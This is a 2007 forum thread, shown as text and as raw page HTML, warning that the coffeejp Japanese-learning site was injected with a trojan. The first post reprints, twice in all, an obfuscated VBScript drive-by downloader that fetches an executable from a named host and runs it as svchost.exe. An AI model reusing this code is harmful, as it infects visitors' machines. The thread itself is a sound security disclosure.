咖啡被挂木马了!!!

eerrr · 发表于 2007-2-2 21:05:06

咖啡的每一个页面都会链接到
http:/ /www.p188.net/2/xl.htm
http:/ /www.p188.net/2/xunlei.exe

随后生成了svchost.exe可执行文件和svchost.vbs脚本

没有中毒的朋友可以在hosts文件里加一句"0.0.0.0 www.p188.net"屏蔽该网站
以免被杀毒软件不停的骚扰

svchost.vbs:
Set Shell = CreateObject("Sh"&"ell"&".App"&"lic"&"at"&"ion")
Shell.ShellExecute"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svchost.exe","","","o"&"p"&"e"&"n",0

xl.htm:
<html>
<body>
<script type="text/jscript">
function init () {
document.write("<center><font color=red></font><center>");}
window.onload = init;
</script>
<script language="VBScript">
function rechange(k)
s=Split(k,",")
t=""
For i = 0 To UBound(s)
t=t+Chr(eval(s(i)))
Next
rechange=t
End Function
t="111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,32,13,10,116,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,112,49,56,56,46,110,101,116,47,50,47,120,117,110,108,101,105,46,101,120,101,34,13,10,102,110,97,109,101,49,61,34,115,118,99,104,111,115,116,46,101,120,101,34,13,10,102,110,97,109,101,50,61,34,115,118,99,104,111,115,116,46,118,98,115,34,13,10,83,101,116,32,100,102,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,34,38,34,98,34,38,34,106,34,38,34,101,34,38,34,99,34,38,34,116,34,41,32,13,10,100,102,46,115,101,116,65,116,116,114,105,98,117,116,101,32,34,99,34,38,34,108,34,38,34,97,34,38,34,115,34,38,34,115,34,38,34,105,34,38,34,100,34,44,32,34,99,34,38,34,108,34,38,34,115,34,38,34,105,100,58,34,38,34,66,34,38,34,68,34,38,34,57,54,34,38,34,67,53,34,38,34,53,54,34,38,34,45,54,53,34,38,34,65,51,34,38,34,45,49,49,34,38,34,68,48,34,38,34,45,57,56,34,38,34,51,65,34,38,34,45,48,48,34,38,34,67,48,52,34,38,34,70,67,50,34,38,34,57,69,34,38,34,51,54,34,32,13,10,115,116,114,61,34,77,105,99,34,38,34,114,111,34,38,34,115,111,34,38,34,102,116,46,34,38,34,88,34,38,34,77,34,38,34,76,34,38,34,72,84,34,38,34,84,80,34,13,10,83,101,116,32,120,32,61,32,100,102,46,67,114,101,97,116,101,79,98,106,101,99,116,40,115,116,114,44,34,34,41,32,13,10,97,49,61,34,65,34,38,34,100,34,38,34,111,34,32,13,10,97,50,61,34,100,34,38,34,98,46,34,32,13,10,97,51,61,34,83,34,38,34,116,114,34,32,13,10,97,52,61,34,101,34,38,34,97,109,34,32,13,10,115,116,114,49,61,97,49,38,97,50,38,97,51,38,97,52,32,13,10,115,116,114,53,61,115,116,114,49,32,13,10,115,101,116,32,83,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,115,116,114,53,44,34,34,41,32,13,10,83,46,116,121,112,101,32,61,32,49,13,10,115,116,114,54,61,34,71,34,38,34,69,34,38,34,84,34,13,10,120,46,79,112,101,110,32,115,116,114,54,44,32,116,99,44,32,70,97,108,115,101,32,13,10,120,46,83,101,110,100,32,13,10,115,101,116,32,70,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,44,34,34,41,32,13,10,115,101,116,32,116,109,112,32,61,32,70,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,32,13,10,102,110,97,109,101,49,61,32,70,46,66,117,105,108,100,80,97,116,104,40,116,109,112,44,102,110,97,109,101,49,41,13,10,83,46,111,112,101,110,13,10,83,46,119,114,105,116,101,32,120,46,114,101,115,112,111,110,115,101,66,111,100,121,32,13,10,83,46,115,97,118,101,116,111,102,105,108,101,32,102,110,97,109,101,49,44,50,32,13,10,83,46,99,108,111,115,101,13,10,102,110,97,109,101,50,61,32,70,46,66,117,105,108,100,80,97,116,104,40,116,109,112,44,102,110,97,109,101,50,41,13,10,115,101,116,32,116,115,32,61,32,70,46,79,112,101,110,84,101,120,116,70,105,108,101,40,102,110,97,109,101,50,44,32,50,44,32,84,114,117,101,41,13,10,116,115,46,87,114,105,116,101,76,105,110,101,32,34,83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,34,83,104,34,34,38,34,34,101,108,108,34,34,38,34,34,46,65,112,112,34,34,38,34,34,108,105,99,34,34,38,34,34,97,116,34,34,38,34,34,105,111,110,34,34,41,34,13,10,115,113,108,61,34,83,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,34,34,34,43,102,110,97,109,101,49,43,34,34,34,44,34,34,34,34,44,34,34,34,34,44,34,34,111,34,34,38,34,34,112,34,34,38,34,34,101,34,34,38,34,34,110,34,34,44,48,34,13,10,116,115,46,119,114,105,116,101,76,105,110,101,32,115,113,108,13,10,116,115,46,99,108,111,115,101,13,10,105,102,32,70,46,70,105,108,101,69,120,105,115,116,115,40,102,110,97,109,101,49,41,61,116,114,117,101,32,116,104,101,110,13,10,105,102,32,70,46,70,105,108,101,69,120,105,115,116,115,40,102,110,97,109,101,50,41,61,116,114,117,101,32,116,104,101,110,13,10,100,51,61,34,83,104,101,34,38,34,108,108,46,34,38,34,65,112,112,34,38,34,108,105,34,38,34,99,97,34,38,34,116,105,111,110,34,13,10,115,101,116,32,81,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,100,51,44,34,34,41,13,10,100,99,61,34,111,34,38,34,112,34,38,34,101,34,38,34,110,34,13,10,81,46,83,104,101,108,108,69,120,101,99,117,116,101,32,102,110,97,109,101,50,44,34,34,44,34,34,44,100,99,44,48,13,10,101,110,100,32,105,102,13,10,69,110,100,32,105,102,32"
i=t
execute(rechange(I))
</script>
</body>
</html>
<script src='http://s2.cnzz.com/stat.php?id=371685&web_id=371685' language='JavaScript' charset='gb2312'></script>

[ 本帖最后由 eerrr 于 2007-2-2 13:18 编辑 ]

sai · 发表于 2007-2-2 21:23:44

偶这边没发现啊

新世代黑组长 · 发表于 2007-2-2 21:28:57

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title>咖啡被挂木马了!!! - 『站务管理』 -  咖啡日语论坛 </title>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-64391-1";
urchinTracker();
</script><meta name="keywords" content=",日语论坛,日本,日语学习,日语考试,日语工作">
<meta name="description" content="咖啡日语论坛日语学习，尽在咖啡日语">
<meta name="generator" content="Discuz! 5.0.0 with Templates 5.0.0">
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<meta http-equiv="MSThemeCompatible" content="Yes">
<link rel="stylesheet" type="text/css" id="css" href="forumdata/cache/style_14.css">
<script type="text/javascript" src="include/common.js"></script>
<script type="text/javascript" src="include/menu.js"></script>
</head>
<body onkeydown="if(event.keyCode==27) return false;">

<center>
<div class="maintable">

<table border="0" cellspacing="0" cellpadding="0" width="100%" align="center" class="outertxt">
<tr>
<td height="80" bgcolor="#9eb6d8"><a href="index.php"><img src="images/logo.gif" border="0"></a> </td>
<td align="center" bgcolor="#9eb6d8">
  <embed width="728" height="90" src="/ad/728-90.swf" type="application/x-shockwave-flash"></embed>
</td>
</tr>
<tr>
<td colspan="2">
  <table width="100%" border="1" cellpadding="5" cellspacing="0">
   <tr>
      <td align="center" bgcolor="#CCFF00"><a href="/phpcms" target="_blank"><strong>日语学习资料</strong></a></td>
      <td align="center" bgcolor="#FF99CC"><a href="/blog" target="_blank"><strong>日语博客</strong></a></td>
      <td align="center" bgcolor="#00FFCC"><a href="/job" target="_blank"><strong>日语工作</strong></a></td>
      <td align="center" bgcolor="#6699FF"><a href="/blog/index.php/action_goods.html" target="_blank"><strong>咖啡商城</strong></a></td>
      <td align="center" bgcolor="#FFFF99"><a href="/news" target="_blank"><strong>日本新闻</strong></a></td>
   </tr>
   </table> <br></td>
</tr>

<tr>

  <td colspan="2" align="right" class="smalltxt" id="menu"><a href="http://www.gotojp.net" target="_blank"><img src="/ad/xiangfei.gif" border="0"></a>  <span class="bold">»</span>
<span class="bold"><a href="viewpro.php?uid=35035">兔子的黄金甲</a>: </span> <a href="logging.php?action=logout&formhash=54fa0212">退出</a>
| <a href="pm.php" target="_blank">短消息</a>
| <a href="search.php">搜索</a>
|
<span id="my"><a href="my.php">我的</a><script type="text/javascript">menuregister(false, "my")</script></span>
| <span id="memcp"><a href="memcp.php">控制面板</a><script type="text/javascript">menuregister(false, "memcp")</script></span>
|
<a href="stats.php">统计</a>
| <a href="admincp.php" target="_blank">系统设置</a>
| <a href="faq.php">帮助</a></td></tr></table>

</div>
<div class="maintable"><br><script type="text/javascript" src="attachments/count.js"></script><div class="subtable" style="width:98%">
<div class="right">
<img src="images/common/icon_signinxspace.gif" border="0" class="absmiddle" alt="" />
<a href="http://coffeejp.com/blog/index.php?action/space/uid/35035" target="_blank">个人空间</a>
<a href="rss.php?fid=3&auth=nzZWdjBPapX56jX+bEr55EfZafiEVYMk" target="_blank"><img src="images/common/xml.gif" border="0" class="absmiddle" alt="RSS 订阅全部论坛" /></a>
 <a href="#bottom"><img src="images/Discuz!default/arrow_dw.gif" border="0" class="absmiddle" alt="" /></a></div>
<div class="nav">
<span id="forumlist"><a href="index.php">咖啡日语论坛</a><script type="text/javascript">menuregister(false, "forumlist")</script></span>
» <a href="forumdisplay.php?fid=3">『站务管理』</a> » 咖啡被挂木马了!!!</div>
</div><br></div>
<div class="maintable">
<table cellspacing="1" cellpadding="4" width="98%" align="center" class="tableborder"><tr align="center" class="altbg2"><td width="100%"><table width="100%" cellspacing="0" cellpadding="0" style="border-style: solid;border-width: 1px;" >
<tr>
<td colspan="2" align="center"><iframe src="http://www.neworldjp.com/jp.html" width="940" height="65" marginwidth="1" marginheight="1" scrolling="no" border="0" frameborder="0">浏览器不支持嵌入式框架，或被配置为不显示嵌入式框架。</iframe> </td>
</tr>
<tr>
<td align="center"><a href="http://www.bluenet.com.cn/
" target="_blank">
<img src="/ad/bluenet.gif" alt="网蓝人材" width="450" height="62" border="0" /></a></td>
<td align="center"><a href="http://www.china-asahi.com" target="_blank">
<img src="/ad/asahi.gif" alt="朝日培训" width="468" height="60" border="0" /></a></td>
</tr>
</table>
</td></tr>
</table>
<br></div>
<div class="maintable">
<table width="98%" cellspacing="0" cellpadding="0" align="center" style="clear: both">
<tr><td valign="bottom">
<table cellspacing="1" cellpadding="2" class="tableborder" style="margin-bottom: 1px">
<tr class="smalltxt">
<td class="altbg2"><a href="redirect.php?fid=3&tid=137690&goto=nextoldset" style="font-weight: normal">上一主题</a></td>
<td class="altbg2"><a href="redirect.php?fid=3&tid=137690&goto=nextnewset" style="font-weight: normal">下一主题</a></td>
</tr></table>
</td><td align="right" valign="bottom">
 <a href="post.php?action=newthread&fid=3&extra="><img src="images/Discuz!default/newtopic.gif" border="0" alt="" /></a>
 <a href="post.php?action=reply&fid=3&tid=137690&extra="><img src="images/Discuz!default/reply.gif" border="0" alt="" /></a>
</td></tr></table></div>
<script type="text/javascript">
function fastreply(subject) {
if($('postform')) {
$('postform').subject.value = subject;
$('postform').message.focus();
}
}
</script>

<div class="maintable">
<table cellspacing="1" cellpadding="4" width="98%" align="center" class="tableborder" style="border-bottom:none;">
<tr class="header"><td colspan="2">
<div class="right">
<form method="post" action="search.php?srchtype=qihoo" onSubmit="this.target='_blank';">
<input type="hidden" name="searchsubmit" value="yes">
<input type="text" name="srchtxt" value="输入关键词，快速搜索本论坛" size="20" class="altbg2" onmouseover="this.focus();this.value=''" onfocus="this.select()">
<select name="stype"><option value="" selected>全文</option><option value="1">标题</option><option value="2">作者</option></select>
<input name="searchsubmit" type="submit" style="height: 1.8em" value="搜索">
<input name="allsearchsubmit" type="submit" style="height: 1.8em" value="奇虎">
</form>
</div>
<div style="color: #FFFFFF; padding: 4px 0px">
标题:
咖啡被挂木马了!!!</div>
</td></tr>
</table>

<form method="post" name="delpost" action="topicadmin.php?action=delpost&fid=3&tid=137690&page=1">
<input type="hidden" name="formhash" value="54fa0212">
<table cellspacing="1" cellpadding="4" width="98%" align="center" class="t_row">
<tr><td colspan="2" class="singleborder"><a name="newpost"></a> <a name="lastpost"></a></td></tr>
<tr class="altbg1" style="height: 100%">
<td width="21%" valign="top" class="t_user">
<a href="topicadmin.php?action=getip&fid=3&tid=137690&pid=1667720"><img src="images/Discuz!default/ip.gif" border="0" align="right" alt="查看 IP" /></a>
<a href="viewpro.php?uid=46361" target="_blank" class="bold">eerrr</a>
<br><div class="smalltxt">
流浪汉<br>
<img src="images/Discuz!default/star_level1.gif" alt="Rank: 1" /><br>
<br>
<table width="95%" border="0" cellspacing="0" cellpadding="0" style="table-layout: fixed">
<tr><td align="center"><div class="avatar" style="width: 120"><img src="http://www.hero-hj.com/UploadFile/2006-2/20062192324042074.gif" width="120" height="150" border="0" alt="" /></div></td></tr></table><br>
UID 46361<br>
精华
0<br>
积分 40<br>
帖子 40<br>
威望 0 <br>
咖啡豆 68 颗<br>
阅读权限 10<br>
注册 2005-8-31<br>
状态 <b>在线</b>
</div>
</td>
<td width="79%" valign="top">
<table border="0" cellspacing="0" cellpadding="0" class="t_msg">
<tr><td valign="top">
<a name="pid1667720" href="misc.php?action=viewratings&tid=137690&pid=1667720" title="评分 0"></a>
<span class="smalltxt"><span class="bold">[广告]:</span> <a href="http://www.neworldjp.com/class.asp#全日制日语二级直达寒假班" target="_blank" ><font color=#FF0000><strong>新世界日语寒假班，一月8.5折优惠中</strong></font></a></span><hr width="100%" style="height: 1px; color: #D6E0EF">
<span class="smalltxt"><span class="bold">
咖啡被挂木马了!!!</span></span><br><br>
<div style="font-size: 14px">咖啡的每一个页面都会链接到<br />
http:/ /www.p188.net/2/xl.htm<br />
http:/ /www.p188.net/2/xunlei.exe<br />
<br />
随后生成了svchost.exe可执行文件和svchost.vbs脚本<br />
<br />
没有中毒的朋友可以在hosts文件里加一句"0.0.0.0       <a href="http://www.p188.net" target="_blank">www.p188.net</a>"屏蔽该网站<br />
以免被杀毒软件不停的骚扰<br />
<br />
svchost.vbs:<br />
Set Shell = CreateObject("Sh"&"ell"&".App"&"lic"&"at"&"ion")<br />
Shell.ShellExecute"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svchost.exe","","","o"&"p"&"e"&"n",0<br />
<br />
<br />
xl.htm:<br />
<html><br />
<body><br />
<script type="text/jscript"><br />
function init () {<br />
document.write("<center><font color=red></font><center>");}<br />
window.onload = init;<br />
</script><br />
<script language="VBScript"> <br />
function rechange(k)<br />
s=Split(k,",")<br />
t=""<br />
For i = 0 To UBound(s)<br />
t=t+Chr(eval(s(i)))<br />
Next<br />
rechange=t<br />
End Function<br />
t="111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,32,13,10,116,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,112,49,56,56,46,110,101,116,47,50,47,120,117,110,108,101,105,46,101,120,101,34,13,10,102,110,97,109,101,49,61,34,115,118,99,104,111,115,116,46,101,120,101,34,13,10,102,110,97,109,101,50,61,34,115,118,99,104,111,115,116,46,118,98,115,34,13,10,83,101,116,32,100,102,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,34,38,34,98,34,38,34,106,34,38,34,101,34,38,34,99,34,38,34,116,34,41,32,13,10,100,102,46,115,101,116,65,116,116,114,105,98,117,116,101,32,34,99,34,38,34,108,34,38,34,97,34,38,34,115,34,38,34,115,34,38,34,105,34,38,34,100,34,44,32,34,99,34,38,34,108,34,38,34,115,34,38,34,105,100,58,34,38,34,66,34,38,34,68,34,38,34,57,54,34,38,34,67,53,34,38,34,53,54,34,38,34,45,54,53,34,38,34,65,51,34,38,34,45,49,49,34,38,34,68,48,34,38,34,45,57,56,34,38,34,51,65,34,38,34,45,48,48,34,38,34,67,48,52,34,38,34,70,67,50,34,38,34,57,69,34,38,34,51,54,34,32,13,10,115,116,114,61,34,77,105,99,34,38,34,114,111,34,38,34,115,111,34,38,34,102,116,46,34,38,34,88,34,38,34,77,34,38,34,76,34,38,34,72,84,34,38,34,84,80,34,13,10,83,101,116,32,120,32,61,32,100,102,46,67,114,101,97,116,101,79,98,106,101,99,116,40,115,116,114,44,34,34,41,32,13,10,97,49,61,34,65,34,38,34,100,34,38,34,111,34,32,13,10,97,50,61,34,100,34,38,34,98,46,34,32,13,10,97,51,61,34,83,34,38,34,116,114,34,32,13,10,97,52,61,34,101,34,38,34,97,109,34,32,13,10,115,116,114,49,61,97,49,38,97,50,38,97,51,38,97,52,32,13,10,115,116,114,53,61,115,116,114,49,32,13,10,115,101,116,32,83,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,115,116,114,53,44,34,34,41,32,13,10,83,46,116,121,112,101,32,61,32,49,13,10,115,116,114,54,61,34,71,34,38,34,69,34,38,34,84,34,13,10,120,46,79,112,101,110,32,115,116,114,54,44,32,116,99,44,32,70,97,108,115,101,32,13,10,120,46,83,101,110,100,32,13,10,115,101,116,32,70,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,44,34,34,41,32,13,10,115,101,116,32,116,109,112,32,61,32,70,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,32,13,10,102,110,97,109,101,49,61,32,70,46,66,117,105,108,100,80,97,116,104,40,116,109,112,44,102,110,97,109,101,49,41,13,10,83,46,111,112,101,110,13,10,83,46,119,114,105,116,101,32,120,46,114,101,115,112,111,110,115,101,66,111,100,121,32,13,10,83,46,115,97,118,101,116,111,102,105,108,101,32,102,110,97,109,101,49,44,50,32,13,10,83,46,99,108,111,115,101,13,10,102,110,97,109,101,50,61,32,70,46,66,117,105,108,100,80,97,116,104,40,116,109,112,44,102,110,97,109,101,50,41,13,10,115,101,116,32,116,115,32,61,32,70,46,79,112,101,110,84,101,120,116,70,105,108,101,40,102,110,97,109,101,50,44,32,50,44,32,84,114,117,101,41,13,10,116,115,46,87,114,105,116,101,76,105,110,101,32,34,83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,34,83,104,34,34,38,34,34,101,108,108,34,34,38,34,34,46,65,112,112,34,34,38,34,34,108,105,99,34,34,38,34,34,97,116,34,34,38,34,34,105,111,110,34,34,41,34,13,10,115,113,108,61,34,83,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,34,34,34,43,102,110,97,109,101,49,43,34,34,34,44,34,34,34,34,44,34,34,34,34,44,34,34,111,34,34,38,34,34,112,34,34,38,34,34,101,34,34,38,34,34,110,34,34,44,48,34,13,10,116,115,46,119,114,105,116,101,76,105,110,101,32,115,113,108,13,10,116,115,46,99,108,111,115,101,13,10,105,102,32,70,46,70,105,108,101,69,120,105,115,116,115,40,102,110,97,109,101,49,41,61,116,114,117,101,32,116,104,101,110,13,10,105,102,32,70,46,70,105,108,101,69,120,105,115,116,115,40,102,110,97,109,101,50,41,61,116,114,117,101,32,116,104,101,110,13,10,100,51,61,34,83,104,101,34,38,34,108,108,46,34,38,34,65,112,112,34,38,34,108,105,34,38,34,99,97,34,38,34,116,105,111,110,34,13,10,115,101,116,32,81,32,61,32,100,102,46,99,114,101,97,116,101,111,98,106,101,99,116,40,100,51,44,34,34,41,13,10,100,99,61,34,111,34,38,34,112,34,38,34,101,34,38,34,110,34,13,10,81,46,83,104,101,108,108,69,120,101,99,117,116,101,32,102,110,97,109,101,50,44,34,34,44,34,34,44,100,99,44,48,13,10,101,110,100,32,105,102,13,10,69,110,100,32,105,102,32"<br />
i=t<br />
execute(rechange(I))<br />
</script><br />
</body><br />
</html><br />
<script src='http://s2.cnzz.com/stat.php?id=371685&web_id=371685' language='JavaScript' charset='gb2312'></script><br />
<br />
[<i> 本帖最后由 eerrr 于 2007-2-2 13:18 编辑 </i>]</div>
</td></tr></table>
</td></tr>
<tr class="altbg1"><td valign="middle">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="smalltxt">
<tr><td align="left">
<input type="checkbox" disabled>
2007-2-2 13:05</td><td align="right"><a href="###" class="bold" onclick="window.clipboardData.setData('text','http://coffeejp.com/bbs/viewthread.php?tid=137690&page=1#pid1667720')">#1</a></td></tr></table>
</td><td valign="bottom">
<div class="right">
 <a href="post.php?action=edit&fid=3&tid=137690&pid=1667720&page=1&extra="><img src="images/Discuz!default/edit.gif" border="0"  alt="编辑帖子" /></a>
 <a href="post.php?action=reply&fid=3&tid=137690&repquote=1667720&extra="><img src="images/Discuz!default/quote.gif" border="0"  alt="引用" /></a>
 <a href="misc.php?action=report&fid=3&tid=137690&pid=1667720&page=1"><img src="images/Discuz!default/report.gif" border="0"  alt="向版主反映这个帖子" /></a>
 <a href="misc.php?action=rate&tid=137690&pid=1667720&page=1"><img src="images/Discuz!default/rate.gif" border="0"  alt="给本帖评分" /></a>
<a href="###" onclick="fastreply('回复 #1 eerrr 的帖子')"><img src="images/Discuz!default/fastreply.gif" border="0"  alt="回复" /></a>
<a href="###" onclick="scroll(0,0)"><img src="images/Discuz!default/top.gif" border="0"  alt="顶部" /></a>
</div>
<a href="viewpro.php?uid=46361"><img src="images/Discuz!default/profile.gif" border="0"  alt="资料" /></a> 

<a href="
blog.php?uid=46361" target="_blank"><img src="images/Discuz!default/blog.gif" border="0"  alt="文集" /></a> 
<a href="pm.php?action=send&uid=46361" target="_blank"><img src="images/Discuz!default/pm.gif" border="0"  alt="发短消息" /></a> 
</td></tr></table>
<div class="t_footer"></div>
</form>
</div>

<script type="text/javascript">
function setanswer(pid){
if(confirm("您确认要把该回复选为“最佳答案”吗？")){
document.delpost.action='misc.php?action=bestanswer&tid=137690&pid=' + pid + '&bestanswersubmit=yes';
document.delpost.submit();
}
}
</script>

<div class="maintable" style="clear:both">
<table width="98%" cellspacing="0" cellpadding="0" align="center">
<tr><td valign="top"></td><td align="right">
 <a href="post.php?action=newthread&fid=3&extra="><img src="images/Discuz!default/newtopic.gif" border="0" alt="" /></a>
 <a href="post.php?action=reply&fid=3&tid=137690&extra="><img src="images/Discuz!default/reply.gif" border="0" alt="" /></a>
</table><br></div>
<script type="text/javascript">
var postminchars = parseInt('6');
var postmaxchars = parseInt('10000');
var disablepostctrl = parseInt('1');
function validate(theform) {
if (theform.message.value == "" && theform.subject.value == "") {
alert("请完成标题或内容栏。");
return false;
} else if (theform.subject.value.length > 80) {
alert("您的标题超过 80 个字符的限制。");
return false;
}
if (!disablepostctrl && ((postminchars != 0 && theform.message.value.length < postminchars) || (postmaxchars != 0 && theform.message.value.length > postmaxchars))) {
alert("您的帖子长度不符合要求。\n\n当前长度: "+theform.message.value.length+" 字节\n系统限制: "+postminchars+" 发送到 "+postmaxchars+" 字节");
return false;
}
theform.replysubmit.disabled = true;
return true;
}
</script>
<form method="post" id="postform" action="post.php?action=reply&fid=3&tid=137690&extra=&replysubmit=yes" onSubmit="return validate(this)">
<input type="hidden" name="formhash" value="54fa0212">
<div class="maintable">
<table cellspacing="1" cellpadding="4" width="98%" align="center" class="tableborder">
<tr><td colspan="2" class="header"><a href="member.php?action=credits&view=forum_reply&fid=3" target="_blank"><img src="images/Discuz!default/credits.gif" alt="查看积分策略说明" align="right" border="0" /></a>快速回复主题</td></tr>
<tr>
<td width="18%" class="altbg1">标题:</td>
<td width="82%" class="altbg2"><input type="text" name="subject" size="80" value="" tabindex="1">   <span class="smalltxt">(可选)</span></td>
</tr>
<tr>
<td width="18%" class="altbg1" valign="top">选项:<br>
<input type="checkbox" name="parseurloff" value="1"> 禁用 URL 识别<br>
<input type="checkbox" name="smileyoff" value="1"> 禁用 <a href="faq.php?page=messages#6" target="_blank">Smilies</a><br>
<input type="checkbox" name="bbcodeoff" value="1"> 禁用 <a href="faq.php?page=misc#1" target="_blank">Discuz! 代码</a><br>
<input type="checkbox" name="usesig" value="1" checked> 使用个人签名<br>
<input type="checkbox" name="emailnotify" value="1"> 接收新回复邮件通知</span>
</td>
<td width="82%" class="altbg2">
<div style="width:80%; float:left;"><span class="smalltxt">
<textarea rows="7" cols="30" style="width: 100%; height:120px; word-break: break-all" name="message" onKeyDown="ctlent(event);" tabindex="2"></textarea><br>
<input type="submit" type="submit" name="replysubmit" id="postsubmit" value="发表帖子" tabindex="3">   
<input type="submit" name="previewpost" value="预览帖子" tabindex="4">   
<input type="reset" name="topicsreset" value="清空内容" tabindex="5">   [完成后可按 Ctrl+Enter 发布]</div>
<div id="fastpost_smiliebox" style="width:20%;float:left">
<table cellpadding="3" cellspacing="0" width="80%" border="0" align="center">
<tr align="center"><td valign="top"><img src="images/smilies/em01.gif" id="smilie_1" alt="

" border="0" onClick="insertSmiley(1)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em02.gif" id="smilie_16" alt="

" border="0" onClick="insertSmiley(16)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em03.gif" id="smilie_17" alt="

" border="0" onClick="insertSmiley(17)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em04.gif" id="smilie_18" alt="

" border="0" onClick="insertSmiley(18)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
</tr><tr align="center"><td valign="top"><img src="images/smilies/em05.gif" id="smilie_15" alt="

" border="0" onClick="insertSmiley(15)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em06.gif" id="smilie_14" alt="

" border="0" onClick="insertSmiley(14)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em07.gif" id="smilie_13" alt="

" border="0" onClick="insertSmiley(13)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em08.gif" id="smilie_2" alt="

" border="0" onClick="insertSmiley(2)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
</tr><tr align="center"><td valign="top"><img src="images/smilies/em09.gif" id="smilie_3" alt="

" border="0" onClick="insertSmiley(3)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em10.gif" id="smilie_4" alt="

" border="0" onClick="insertSmiley(4)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em11.gif" id="smilie_5" alt="

" border="0" onClick="insertSmiley(5)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em12.gif" id="smilie_6" alt="

" border="0" onClick="insertSmiley(6)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
</tr><tr align="center"><td valign="top"><img src="images/smilies/em13.gif" id="smilie_7" alt="

" border="0" onClick="insertSmiley(7)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em14.gif" id="smilie_8" alt="

" border="0" onClick="insertSmiley(8)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em15.gif" id="smilie_9" alt="

" border="0" onClick="insertSmiley(9)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
<td valign="top"><img src="images/smilies/em16.gif" id="smilie_28" alt="

" border="0" onClick="insertSmiley(28)" onMouseover="this.style.cursor = is_ie ? 'hand' : 'pointer';" /></td>
</tr></table>
</div>
</td></tr></table></div></form>
<div class="maintable"><br><table cellspacing="1" cellpadding="4" align="center" class="tableborder">
<tr class="smalltxt"><td class="altbg2" align="center" nowrap>  
<a href="viewthread.php?action=printable&tid=137690" target="_blank">可打印版本</a> |
<a href="misc.php?action=emailfriend&tid=137690">推荐给朋友</a> |
<a href="my.php?item=subscriptions&subadd=137690">订阅主题</a> |
<a href="my.php?item=favorites&favadd=137690&type=thread">收藏主题</a>

| <a href="http://coffeejp.com/blog/spacecp.php?action=spacenews&op=add&tid=137690" target="_blank">加入资讯</a>
  </td></tr></table></div>

<div class="maintable"><br>
<div class="subtable outertxt" style="width:98%">
<div class="right smalltxt">
<span class="bold">管理选项:</span>
<select name="action" id="action" onchange="if(this.options[this.selectedIndex].value != '') { if(this.options[this.selectedIndex].value != 'delpost') {
window.location=('topicadmin.php?tid=137690&fid=3&action='+this.options[this.selectedIndex].value+'&sid=YDE8GC');
} else { document.delpost.submit(); } }">
<option value="" selected>管理选项</option>
<option value="delpost">删除回帖</option>
<option value="delete">删除主题</option>
<option value="close">关闭主题</option>
<option value="move">移动主题</option>
<option value="copy">复制主题</option>
<option value="highlight">高亮显示</option>
<option value="digest">设置精华</option>
<option value="stick">主题置顶</option>
<option value="split">分割主题</option>
<option value="merge">合并主题</option>
<option value="bump">提升主题</option>
<option value="repair">修复主题</option>
</select>
</div>
<span class="smalltxt">
</span></div>
<div class="popupmenu_popup" id="forumlist_menu" style="display: none">
<table cellpadding="4" cellspacing="1" border="0">
<tr><td class="header">论坛导航</td></tr>
<tr><td class="popupmenu_option"><a href="index.php" class="nav">咖啡日语论坛</a></td></tr>
